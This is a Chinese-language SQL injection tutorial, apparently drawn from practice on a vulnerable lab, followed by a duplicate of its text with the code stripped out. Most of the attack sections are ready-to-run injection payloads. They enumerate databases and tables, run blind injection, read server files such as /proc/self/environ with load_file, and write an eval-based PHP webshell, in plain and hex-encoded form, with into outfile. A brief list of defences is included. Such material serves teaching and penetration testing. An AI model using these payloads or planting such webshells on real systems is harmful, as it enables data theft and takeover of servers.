从某开源靶场详细学习SQL注入的过程
字数 938 2025-08-09 18:44:09

SQL注入全面学习指南

1. SQL注入基础

SQL注入是一种将恶意SQL代码插入到应用输入参数中的攻击技术,攻击者通过这些参数修改后台SQL查询逻辑,从而获取非授权数据或执行非授权操作。

2. 漏洞检测与利用

2.1 确定列数与回显位

  1. 使用order by子句确定列数:

    ?id=1' order by 5--+
    

    逐步增加数字直到报错,确定列数

  2. 确定回显位:

    ?id=0' union select 1,2,3,4,5--+
    

    观察页面显示的数字即为回显位

2.2 信息收集

  1. 查数据库名:

    ?id=0' union select 1,database(),3,4,5--+
    
  2. 查表名:

    ?id=0' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--+
    
  3. 查列名:

    ?id=0' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='users'--+
    

3. 盲注技术

3.1 布尔盲注

通过页面返回的真假状态推断数据:

?id=1' and ascii(substr(database(),1,1))>100--+

3.2 时间盲注

利用延时函数判断条件真假:

?id=1' and if(ascii(substr(database(),1,1))>100,sleep(5),0)--+

4. 特殊注入技术

4.1 Limit注入

无order by情况:

?id=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

有order by情况:

?id=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

4.2 Order by注入

利用IF函数进行盲注:

?id=1' and 1=1 order by if(1=1,1,(select 1 union select 2))--+

5. 文件操作

5.1 读取文件

使用load_file()函数读取文件内容:

?id=0' union select 1,2,load_file("D:/flag.txt"),4,5--+

常见可读取的配置文件路径:

  • /etc/apache2/sites-available/000-default.conf
  • /etc/apache2/apache2.conf
  • /etc/nginx/nginx.conf
  • /var/log/apache2/access.log
  • /var/log/nginx/error.log
  • /proc/self/environ

5.2 写入Webshell

5.2.1 into outfile写文件

?id=0' union select 1,2,'<?php @eval($_POST[cmd]);?>',4,5 into outfile "D:/phpstudy_pro/WWW/phptrain/shell3.php"--+

5.2.2 log日志写shell

通过修改日志文件路径和日志格式写入PHP代码

5.2.3 order by写webshell

?id=1' into outfile '/var/www/html/shell.php' lines terminated by 0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e--+

5.2.4 limit写shell

?id=1' into outfile '/var/www/html/shell.php' fields terminated by 0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e--+

6. 防御措施

  1. 使用参数化查询(预处理语句)
  2. 实施最小权限原则
  3. 对输入进行严格过滤和转义
  4. 关闭错误信息显示
  5. 使用Web应用防火墙(WAF)
  6. 定期更新和修补系统

7. 实战技巧

  1. 当遇到无回显情况时,可尝试:

    • DNS外带数据
    • 时间盲注
    • 布尔盲注
  2. 获取网站根目录的方法:

    • 读取配置文件
    • 通过报错信息
    • 读取日志文件
  3. 权限提升技巧:

    • 利用UDF提权
    • 利用系统函数执行命令
    • 读取敏感配置文件获取更多信息

本指南涵盖了SQL注入的主要技术点,从基础的信息收集到高级的文件操作和权限提升。实际应用中需要根据目标环境灵活组合使用这些技术。

SQL注入全面学习指南 1. SQL注入基础 SQL注入是一种将恶意SQL代码插入到应用输入参数中的攻击技术,攻击者通过这些参数修改后台SQL查询逻辑,从而获取非授权数据或执行非授权操作。 2. 漏洞检测与利用 2.1 确定列数与回显位 使用 order by 子句确定列数: 逐步增加数字直到报错,确定列数 确定回显位: 观察页面显示的数字即为回显位 2.2 信息收集 查数据库名: 查表名: 查列名: 3. 盲注技术 3.1 布尔盲注 通过页面返回的真假状态推断数据: 3.2 时间盲注 利用延时函数判断条件真假: 4. 特殊注入技术 4.1 Limit注入 无order by情况: 有order by情况: 4.2 Order by注入 利用IF函数进行盲注: 5. 文件操作 5.1 读取文件 使用 load_file() 函数读取文件内容: 常见可读取的配置文件路径: /etc/apache2/sites-available/000-default.conf /etc/apache2/apache2.conf /etc/nginx/nginx.conf /var/log/apache2/access.log /var/log/nginx/error.log /proc/self/environ 5.2 写入Webshell 5.2.1 into outfile写文件 5.2.2 log日志写shell 通过修改日志文件路径和日志格式写入PHP代码 5.2.3 order by写webshell 5.2.4 limit写shell 6. 防御措施 使用参数化查询(预处理语句) 实施最小权限原则 对输入进行严格过滤和转义 关闭错误信息显示 使用Web应用防火墙(WAF) 定期更新和修补系统 7. 实战技巧 当遇到无回显情况时,可尝试: DNS外带数据 时间盲注 布尔盲注 获取网站根目录的方法: 读取配置文件 通过报错信息 读取日志文件 权限提升技巧: 利用UDF提权 利用系统函数执行命令 读取敏感配置文件获取更多信息 本指南涵盖了SQL注入的主要技术点,从基础的信息收集到高级的文件操作和权限提升。实际应用中需要根据目标环境灵活组合使用这些技术。